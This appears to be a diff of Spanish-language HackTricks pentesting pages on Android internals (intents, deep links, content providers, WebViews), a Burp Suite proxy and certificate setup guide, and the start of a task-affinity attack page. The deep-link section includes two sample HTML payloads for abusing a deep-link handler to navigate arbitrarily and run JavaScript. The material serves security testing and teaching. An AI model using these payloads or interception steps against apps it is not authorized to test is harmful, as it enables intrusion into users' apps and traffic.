<action android:name="android.intent.action.SEND" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Un intent-filter necesita coincidir con la **acción**, **datos** y **categoría** para recibir un mensaje.
|
||||
|
||||
El proceso de "resolución de intenciones" determina qué aplicación debe recibir cada mensaje. Este proceso considera el atributo de **prioridad**, que se puede establecer en la declaración del **intent-filter**, y **se seleccionará el que tenga la prioridad más alta**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "selector" para que **el usuario pueda decidir**.
|
||||
|
||||
### Intenciones explícitas
|
||||
|
||||
Una intención explícita especifica el nombre de la clase a la que se dirige:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
En otras aplicaciones, para acceder al intent previamente declarado, se puede utilizar:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Intenciones pendientes
|
||||
|
||||
Estas permiten que otras aplicaciones **realicen acciones en nombre de tu aplicación**, utilizando la identidad y permisos de tu aplicación. Al construir una intención pendiente, se debe **especificar una intención y la acción a realizar**. Si la **intención declarada no es explícita** (no declara qué intención puede llamarla), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la aplicación víctima. Además, **si no se especifica una acción**, la aplicación maliciosa podrá hacer **cualquier acción en nombre de la víctima**.
|
||||
|
||||
### Intenciones de difusión
|
||||
|
||||
A diferencia de las intenciones anteriores, que solo son recibidas por una aplicación, las intenciones de difusión **pueden ser recibidas por múltiples aplicaciones**. Sin embargo, a partir de la versión API 14, es **posible especificar la aplicación que debe recibir** el mensaje utilizando Intent.set Package.
|
||||
|
||||
Alternativamente, también es posible **especificar un permiso al enviar la difusión**. La aplicación receptora necesitará tener ese permiso.
|
||||
|
||||
Hay **dos tipos** de difusiones: **Normales** (asincrónicas) y **Ordenadas** (sincrónicas). El **orden** se basa en la **prioridad configurada dentro del receptor**. **Cada aplicación puede procesar, retransmitir o descartar la difusión.**
|
||||
|
||||
Es posible **enviar** una **difusión** utilizando la función \*\*`sendBroadcast(intent, receiverPermission)` \*\* de la clase `Context`.\
|
||||
También se puede utilizar la función **`sendBroadcast`** del **`LocalBroadCastManager`** que asegura que el **mensaje nunca abandone la aplicación**. Usando esto, ni siquiera necesitarás exportar un componente receptor.
|
||||
|
||||
### Difusiones pegajosas
|
||||
|
||||
Este tipo de difusiones **pueden ser accedidas mucho después de haber sido enviadas**.\
|
||||
Estas fueron obsoletas en el nivel de API 21 y se recomienda **no usarlas**.\
|
||||
**Permiten que cualquier aplicación husmee en los datos, pero también los modifique.**
|
||||
|
||||
Si encuentras funciones que contienen la palabra "pegajoso" como **`sendStickyBroadcast`** o **`sendStickyBroadcastAsUser`**, **verifica el impacto e intenta eliminarlas**.
|
||||
|
||||
## Enlaces profundos / Esquemas de URL
|
||||
|
||||
**Los enlaces profundos permiten activar una intención a través de una URL**. Una aplicación puede declarar un **esquema de URL** dentro de una actividad para que cada vez que el dispositivo Android intente **acceder a una dirección utilizando ese esquema**, se llame a la actividad de la aplicación:
|
||||
|
||||
![](<../../.gitbook/assets/image (214).png>)
|
||||
|
||||
En este caso, el esquema es `myapp://` (también se observa la **`categoría BROWSABLE`**)
|
||||
|
||||
Si dentro del `intent-filter` encuentras algo como esto:
|
||||
|
||||
![](<../../.gitbook/assets/image (263).png>)
|
||||
|
||||
Entonces, está esperando algo como `http://www.example.com/gizmos`
|
||||
|
||||
Si encuentras algo como esto:
|
||||
|
||||
![](<../../.gitbook/assets/image (262).png>)
|
||||
|
||||
Significará que está esperando una URL que comience por `example://gizmos`\
|
||||
En este caso, podrías intentar abusar de la funcionalidad creando una web con las siguientes cargas útiles. Intentará navegar a páginas arbitrarias e intentará ejecutar JS:
|
||||
```markup
|
||||
<a href="example://gizmos/https://google.com">click here</a>
|
||||
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Para encontrar el **código que se ejecutará en la aplicación**, vaya a la actividad llamada por el enlace profundo y busque la función **`onNewIntent`**.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
Aprenda cómo [llamar enlaces profundos sin usar páginas HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Lenguaje de Definición de Interfaces de Android
|
||||
|
||||
El **Lenguaje de Definición de Interfaces de Android** (AIDL) le permite definir la interfaz de programación en la que tanto el cliente como el servicio acuerdan para **comunicarse entre sí utilizando la comunicación entre procesos** (IPC). En Android, **un proceso normalmente no puede acceder a la memoria de otro proceso**. Por lo tanto, para hablar, necesitan descomponer sus objetos en primitivas que el **sistema operativo** pueda entender y pasar los objetos a través de esa barrera para usted. El código para hacer esa transmisión es tedioso de escribir, por lo que Android lo maneja por usted con AIDL.
|
||||
|
||||
Los servicios que utilizan AIDL se denominan **Servicios vinculados**. En la clase del servicio encontrará el método **`onBind`**. Aquí es **donde comienza la interacción**, por lo que es la parte inicial del código a revisar en busca de posibles vulnerabilidades.
|
||||
|
||||
Un servicio vinculado es el servidor en una interfaz cliente-servidor. **Permite que los componentes (como las actividades) se vinculen al servicio, envíen solicitudes, reciban respuestas y realicen comunicación entre procesos** (IPC). Un servicio vinculado normalmente vive solo mientras sirve a otro componente de la aplicación y no se ejecuta en segundo plano indefinidamente.
|
||||
|
||||
### Messenger
|
||||
|
||||
Un Messenger es otro tipo de mecanismo IPC. Dado que el **Messenger también es un "Servicio vinculado"**, los datos que se pasan desde la aplicación cliente también se procesan a través del método `onBind`. Por lo tanto, la revisión del código debe comenzar en este método y debe buscar la invocación de funcionalidades sensibles o el manejo inseguro de datos.
|
||||
|
||||
### Binder
|
||||
|
||||
Es extraño encontrar una clase Binder invocada directamente, ya que es mucho más fácil usar AIDL (que abstrae la clase Binder). Sin embargo, es bueno saber que **Binder es un controlador de nivel de kernel que mueve datos de la memoria de un proceso a la de otro** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)).
|
||||
|
||||
## Componentes
|
||||
|
||||
Estos incluyen: **Actividades, Servicios, Receptores de difusión y Proveedores.**
|
||||
|
||||
### Actividad de lanzamiento y otras actividades
|
||||
|
||||
Una **actividad de Android** es una pantalla de la interfaz de usuario de la aplicación de **Android**. De esa manera, una **actividad de Android** es muy similar a las ventanas en una aplicación de escritorio. Una aplicación de **Android** puede contener una o más actividades, lo que significa una o más pantallas.
|
||||
|
||||
La **actividad de lanzamiento** es lo que la mayoría de las personas piensan como el **punto de entrada** a una aplicación de Android. La actividad de lanzamiento es la actividad que se inicia cuando un usuario hace clic en el icono de una aplicación. Puede determinar la actividad de lanzamiento mirando el manifiesto de la aplicación. La actividad de lanzamiento tendrá las siguientes intenciones MAIN y LAUNCHER listadas.
|
||||
|
||||
Tenga en cuenta que no todas las aplicaciones tendrán una actividad de lanzamiento, especialmente las aplicaciones sin una interfaz de usuario. Ejemplos de aplicaciones sin una interfaz de usuario (y por lo tanto sin una actividad de lanzamiento) son las aplicaciones preinstaladas que realizan servicios en segundo plano, como el correo de voz.
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Las actividades pueden ser exportadas permitiendo que otros procesos en el dispositivo inicien la actividad. Por defecto, no están exportadas pero se pueden exportar estableciendo:
|
||||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Ten en cuenta que la capacidad de **saltarse las protecciones de actividad no siempre es una vulnerabilidad**, debes comprobar a qué datos has obtenido acceso. Además, **algunas actividades devuelven datos a un llamador**. En estos escenarios, debes buscar el método **`setResult`** y comprobar los datos que se pasan al parámetro Intent. Si son datos sensibles, puede haber una vulnerabilidad de fuga de información y es explotable con aplicaciones capaces de comunicarse con la actividad.
|
||||
|
||||
**El código de una actividad comienza con el método `onCreate`.**
|
||||
|
||||
### Subclase de aplicación
|
||||
|
||||
Las aplicaciones de Android pueden definir una **subclase** de [Application](https://developer.android.com/reference/android/app/Application). Las aplicaciones pueden, pero no tienen que definir una subclase personalizada de Application. Si una aplicación de Android define una subclase de Application, **esta clase se instancia antes que cualquier otra clase en la aplicación**.
|
||||
|
||||
Si se define el método **`attachBaseContext`** en la subclase de Application, se llama primero, antes del método **`onCreate`**.
|
||||
|
||||
### Servicios
|
||||
|
||||
[Los servicios](https://developer.android.com/guide/components/services) **se ejecutan en segundo plano sin una interfaz de usuario**. Se utilizan para realizar **procesos de larga duración, incluso si el usuario comienza a usar una aplicación diferente**.
|
||||
|
||||
Hay una gran cantidad de formas en que se pueden iniciar y, por lo tanto, son un punto de entrada para las aplicaciones. La forma predeterminada en que un servicio puede iniciarse como punto de entrada a una aplicación es a través de **Intents**.
|
||||
|
||||
Cuando se llama al método **`startService`** para iniciar un servicio, se ejecuta el método **`onStart`** en el servicio. Se ejecutará indefinidamente hasta que se llame al método **`stopService`**. Si el servicio solo se necesita mientras el cliente está conectado, el cliente debe "vincularse" a él utilizando el método **`bindService`**.
|
||||
|
||||
Para un **servicio vinculado** (ver sección anterior), los datos se pasarán al método **`onBind`**.
|
||||
|
||||
Por ejemplo, un servicio podría reproducir música en segundo plano mientras el usuario está en una aplicación diferente, o podría recuperar datos a través de la red sin bloquear la interacción del usuario con una actividad.
|
||||
|
||||
Un **servicio puede ser exportado, lo que permite que otros procesos en el dispositivo inicien el servicio**. Por defecto, los servicios no se exportan, pero se pueden configurar en el Manifiesto:
|
||||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Receptores de difusión
|
||||
|
||||
Las difusiones se pueden considerar como un sistema de mensajería y los **receptores de difusión son los oyentes**. Si una aplicación ha registrado un receptor para una difusión específica, el código en ese receptor se ejecuta cuando el sistema envía la difusión. Tenga en cuenta que en este caso **varias aplicaciones pueden recibir el mismo mensaje**.
|
||||
|
||||
Hay **2 formas** en que una aplicación puede **registrar un receptor**: en el **Manifiesto de la aplicación o registrado dinámicamente** en el código de la aplicación utilizando la llamada de API **`registerReceiver`**. En el manifiesto, puede limitar las difusiones que acepta a través del **uso de permisos dentro del elemento receptor**. Cuando se define dinámicamente, puede **pasar el permiso al método `registerReceiver`**.
|
||||
|
||||
En ambos casos, para registrar el receptor, se establecen los **filtros de intención para el receptor**. Estos filtros de intención son las difusiones que deben activar el receptor.
|
||||
|
||||
Cuando se envían las difusiones específicas para las que se ha registrado el receptor, se **ejecuta** el método **`onReceive`** en la clase BroadcastReceiver.
|
||||
|
||||
Una aplicación puede registrar un receptor para el mensaje de batería baja, por ejemplo, y cambiar su comportamiento en función de esa información.
|
||||
|
||||
La difusión puede ser **asincrónica** (cada receptor la recibe) o **sincrónica** (la difusión se recibe de manera ordenada según la prioridad establecida para recibirla).
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Tenga en cuenta que cualquier aplicación puede establecerse como la máxima prioridad para recibir una difusión.**
|
||||
{% endhint %}
|
||||
|
||||
Para **examinar** el **código** implementado en un receptor de difusión, debe buscar el método **`onReceive`** de la clase del receptor.\
|
||||
Tenga en cuenta que las **difusiones ordenadas pueden descartar la intención recibida o incluso modificarla** utilizando uno de los métodos setter. Por lo tanto, los **receptores deben validar los datos**.
|
||||
|
||||
### Proveedor de contenido
|
||||
|
||||
Los proveedores de contenido son la forma en que las **aplicaciones comparten datos estructurados**, como bases de datos relacionales. Por lo tanto, es muy importante usar **permisos** y establecer el nivel de protección adecuado para protegerlos.\
|
||||
Los proveedores de contenido pueden usar los atributos **`readPermission`** y **`writePermission`** para especificar qué permisos debe tener una aplicación. **Estos permisos tienen prioridad sobre el atributo de permiso**.\
|
||||
Además, también pueden **permitir excepciones temporales** estableciendo **`grantUriPermission`** en verdadero y luego configurando los parámetros apropiados en el elemento **`grant-uri-permission`** dentro del elemento proveedor dentro del archivo de manifiesto.
|
||||
|
||||
El **`grant-uri-permission`** tiene tres atributos: path, pathPrefix y pathPattern:
|
||||
|
||||
* **path**: Permite especificar la ruta completa para excluir
|
||||
* **pathPrefix**: Permite especificar el comienzo de la ruta
|
||||
* **pathPattern**: Permite el uso de comodines y reemplazos simbólicos para obtener un control más granular.
|
||||
|
||||
Es **importante validar y sanear la entrada recibida** para evitar posibles vulnerabilidades como la inyección SQL.
|
||||
|
||||
**Características del proveedor de contenido:**
|
||||
|
||||
* El componente del proveedor de contenido suministra datos de una aplicación a otras a petición.
|
||||
* Puede almacenar los datos en el sistema de archivos, una base de datos SQLite, en la web o en cualquier otra ubicación de almacenamiento persistente a la que su aplicación pueda acceder.
|
||||
* A través del proveedor de contenido, otras aplicaciones pueden consultar o incluso modificar los datos (si el proveedor de contenido lo permite).
|
||||
* El proveedor de contenido es útil en casos en los que una aplicación desea compartir datos con otra aplicación.
|
||||
* Es muy similar a las bases de datos y tiene cuatro métodos.
|
||||
* insert()
|
||||
* update()
|
||||
* delete()
|
||||
* query()
|
||||
|
||||
**FileProvider**
|
||||
|
||||
Este es un tipo de proveedor de contenido que **compartirá archivos** desde una carpeta. Puede declarar un proveedor de archivos de esta manera:
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
android:grantUriPermissions="true" android:exported="false">
|
||||
<meta-data
|
||||
android:name="android.support.FILE_PROVIDER_PATHS"
|
||||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
Ten en cuenta el atributo **`android:exported`** porque si es **`true`** las aplicaciones externas podrán acceder a las carpetas compartidas.\
|
||||
Ten en cuenta que la configuración `android:resource="@xml/filepaths"` indica que el archivo _res/xml/filepaths.xml_ contiene la configuración de **qué carpetas** este **FileProvider** va a **compartir**. Este es un ejemplo de cómo indicar que se comparta una carpeta en ese archivo:
|
||||
```markup
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Compartir algo como **`path="."`** podría ser **peligroso** incluso si el proveedor no está exportado si hay otra vulnerabilidad en alguna parte del código que intentó acceder a este proveedor.\
|
||||
Podrías **acceder** a una **imagen** dentro de esa carpeta con `content://com.example.myapp.fileprovider/myimages/default_image.jpg`
|
||||
|
||||
El elemento `<paths>` puede tener varios hijos, cada uno especificando un directorio diferente para compartir. Además del elemento **`<files-path>`**, puedes usar el elemento **`<external-path>`** para compartir directorios en el **almacenamiento externo**, y el elemento **`<cache-path>`** para compartir directorios en tu **directorio de caché interno**.\
|
||||
[Para obtener más información sobre los atributos específicos de los proveedores de archivos, ve aquí.](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||
|
||||
[Más información sobre FileProviders aquí](https://developer.android.com/training/secure-file-sharing/setup-sharing).
|
||||
|
||||
## WebViews
|
||||
|
||||
Los WebViews son efectivamente **navegadores web** integrados en aplicaciones de Android.\
|
||||
El contenido de los WebViews puede ser extraído de sitios remotos o pueden ser archivos incluidos en la aplicación.\
|
||||
Los WebViews son **vulnerables a las mismas vulnerabilidades que afectan a cualquier navegador web**. Sin embargo, hay algunas **configuraciones** que pueden ser útiles para **limitar** la **superficie de ataque**.
|
||||
|
||||
Hay dos tipos de WebViews en Android:
|
||||
|
||||
* El **WebViewClient**, más adecuado para la representación de HTML simple. Esto no ejecutará la función de alerta JS. Por lo tanto, las pruebas XSS que utilizan esa función serán inválidas.
|
||||
* El **cliente WebChrome**, es un navegador Chrome.
|
||||
|
||||
Tenga en cuenta que **los navegadores WebView no tienen acceso a las cookies del navegador nativo**.
|
||||
|
||||
Para cargar una URL o archivo, es posible utilizar las funciones **`loadUrl`**, **`loadData`** o **`loadDataWithBaseURL`**. **Es importante acceder sólo a URLs sanitizadas.**\
|
||||
La seguridad de WebView se puede configurar a través del objeto **`WebSettings`**.\
|
||||
Por ejemplo, la ejecución de código JS se puede desactivar utilizando el método **`setJavaScriptEnabled`** con el valor **`false`**. Esto **eliminará** la posibilidad de una vulnerabilidad de **XSS** y otras vulnerabilidades relacionadas con JS.
|
||||
|
||||
La funcionalidad de JavaScript "**Bridge**" **inyecta objetos Java en un WebView haciéndolos accesibles a JS**. A partir de Android 4.2, los métodos deben estar anotados con **`@JavascriptInterface`** para que sean accesibles desde JavaScript.
|
||||
|
||||
Si se pasa **`true`** a **`setAllowContentAccess`**, **los WebViews podrán acceder a los Proveedores de Contenido** a través del esquema **`content://`**. Esto obviamente plantea un riesgo de seguridad. Tenga en cuenta que si se da este acceso, es muy importante **asegurarse** de que la URL **`content://`** es **segura**.
|
||||
|
||||
Por defecto, los archivos locales pueden ser accedidos por los WebViews a través de las URLs file://, pero hay varias formas de evitar este comportamiento:
|
||||
|
||||
* Pasando **`false`** a **`setAllowFileAccess`**, se evita el acceso al sistema de archivos con la excepción de los activos a través de `file:///android_asset` _y_ `file:///android_res`. Estas rutas deben ser utilizadas sólo para datos no sensibles (como imágenes), por lo que esto debería ser seguro.
|
||||
* El método **`setAllowFileAccess`** indica si una ruta de una URL `file://` debe ser capaz de acceder al contenido de otras URLs de esquema de archivo.
|
||||
* El método **`setAllowUniversalAccessFromFileURLs`** indica si una ruta de una URL `file://` debe ser capaz de acceder al contenido de cualquier origen.
|
||||
|
||||
## Otros componentes de la aplicación
|
||||
|
||||
### **Firma de la aplicación**
|
||||
|
||||
* Android requiere que **todas las aplicaciones estén firmadas digitalmente con un certificado** antes de que puedan ser instaladas. Android utiliza este certificado para identificar al autor de una aplicación.
|
||||
* Para ejecutar la aplicación en el dispositivo, debe estar firmada. Cuando se instala la aplicación en un dispositivo, el **administrador de paquetes verifica** si la aplicación ha sido correctamente firmada con el certificado del archivo apk o no.
|
||||
* La aplicación puede ser auto-firmada o puede ser firmada a través de una CA.
|
||||
* La firma de la aplicación asegura que una aplicación no pueda acceder a ninguna otra aplicación excepto a través de IPC bien definidos y también que se pase sin modificaciones al dispositivo.
|
||||
|
||||
### **Verificación de la aplicación**
|
||||
|
||||
* Android 4.2 y posteriores admiten la verificación de aplicaciones. Los usuarios pueden optar por habilitar "Verificar aplicaciones" y hacer que las aplicaciones sean evaluadas por un verificador de aplicaciones antes de la instalación.
|
||||
* La verificación de la aplicación puede alertar al usuario si intenta instalar una aplicación que podría ser perjudicial; si una aplicación es especialmente mala, puede bloquear la instalación.
|
||||
|
||||
## Gestión de dispositivos móviles
|
||||
|
||||
MDM o Mobile Device Management son suites de software que se utilizan para **asegurar un control y requisitos de seguridad** sobre los dispositivos móviles. Estas suites utilizan las características referidas como API de administración de dispositivos y requieren que se instale una aplicación de Android.
|
||||
|
||||
Generalmente, las soluciones de MDM realizan funciones como la imposición de políticas de contraseñas, la obligación de cifrar el almacenamiento y la posibilidad de borrar los datos del dispositivo de forma remota.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,103 @@
|
|||
# Configuración de Burp Suite para Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Este tutorial fue tomado de:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)
|
||||
|
||||
## Agregar un proxy en Burp Suite para escuchar.
|
||||
|
||||
Dirección: **192.168.56.1** y Puerto: **1337**
|
||||
|
||||
Elija la opción _**Todas las interfaces**_.
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*0Bn7HvqI775Nr5fXGcqoJA.png)
|
||||
|
||||
## **Agregar un escucha en el dispositivo Android.**
|
||||
|
||||
Configuración → Wifi → WiredSSID (Mantener presionado)
|
||||
|
||||
Elija Modificar red → Verificar opciones avanzadas.
|
||||
|
||||
Seleccione Proxy en manual
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*gkDuYqWMldFuYguQuID7sw.png)
|
||||
|
||||
Prueba la conexión a través de http y https usando el navegador del dispositivo.
|
||||
|
||||
1. http:// (funcionando) probado - [http://ehsahil.com](http://ehsahil.com)
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*LJ2uhK2JqKYY\_wYkH3jwbw.png)
|
||||
|
||||
2\. https:// error de certificado - https://google.com
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*M-AoG6Yqo21D9qgQHLCSzQ.png)
|
||||
|
||||
## **Instalar el certificado de Burp en el dispositivo Android.**
|
||||
|
||||
Descargue el certificado de Burp. - Use su máquina de escritorio para descargar el certificado.
|
||||
|
||||
[https://burp](http://burp)
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*f4LjnkNs7oA1f4XokEeiTw.png)
|
||||
|
||||
Haga clic en **CA certificate download the certificate.**
|
||||
|
||||
El certificado descargado tiene la extensión cacert.der y Android 5.\* no lo reconoce como archivo de certificado.
|
||||
|
||||
Puede descargar el archivo cacert usando su máquina de escritorio y cambiarle el nombre de cacert.der a cacert.crt y dejarlo caer en el dispositivo Android y el certificado se agregará automáticamente en **file:///sd\_card/downloads.**
|
||||
|
||||
**Instalando el certificado descargado.**
|
||||
|
||||
Configuración → Seguridad → Instalar certificado desde tarjetas SD
|
||||
|
||||
Ahora, vaya a: sdcard → Descargas → Seleccione cacert.crt
|
||||
|
||||
Ahora, nómbralo como cualquier cosa "portswigger"
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*lDtlQ1FfcHEytrSZNvs2Mw.png)
|
||||
|
||||
También debe configurar el PIN antes de agregar el certificado. Verificando el certificado instalado usando certificados de confianza.
|
||||
|
||||
Certificados de confianza → Usuarios
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*dvEffIIS0-dPE6q3ycFx3Q.png)
|
||||
|
||||
Después de instalar el certificado de esta manera, Firefox para Android no lo usará (según mis pruebas), así que use un navegador diferente.
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,89 @@
|
|||
# Tareas, pila de retroceso y actividades en primer plano
|
||||
|
||||
Una tarea es una colección de actividades con las que los usuarios interactúan al realizar un trabajo determinado. Las actividades se organizan en una pila, la _**pila de retroceso**_, en el orden en que se abre cada actividad.
|
||||
|
||||
La actividad que se **muestra** en la pantalla se llama **actividad en primer plano** y su **tarea** se llama **tarea en primer plano**. En un momento dado, solo **una tarea en primer plano es visible en la pantalla**.
|
||||
|
||||
Este es un flujo de actividad simple:
|
||||
|
||||
* Solo hay Activity 1 en primer plano.
|
||||
* Se inicia Activity 2 que empuja Activity 1 a la pila de retroceso. Ahora Activity 2 está en primer plano.
|
||||
* Se inicia Activity 3 que empuja tanto Activity 1 como 2 a la pila de retroceso.
|
||||
* Ahora, cuando se cierra Activity 3, la actividad anterior, es decir, 2, se lleva automáticamente al primer plano. Así es como funciona la navegación de tareas en Android.
|
||||
|
||||
![](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
## Multitarea de Android - Una tarea
|
||||
|
||||
Una tarea está compuesta por varias actividades.
|
||||
|
||||
![](<../../.gitbook/assets/image (549).png>)
|
||||
|
||||
## Multitarea de Android - Varias tareas
|
||||
|
||||
Android generalmente administra varias tareas.
|
||||
|
||||
![](<../../.gitbook/assets/image (550).png>)
|
||||
|
||||
# Controles de tareas
|
||||
|
||||
![](<../../.gitbook/assets/image (551).png>)
|
||||
|
||||
# Ataque de afinidad de tareas
|
||||
|
||||
## Afinidad de tareas y modos de lanzamiento
|
||||
|
||||
La **afinidad de tareas** es un atributo que se define en cada etiqueta `<activity>` en el archivo `AndroidManifest.xml`. Describe a qué tarea prefiere un Activity unirse.\
|
||||
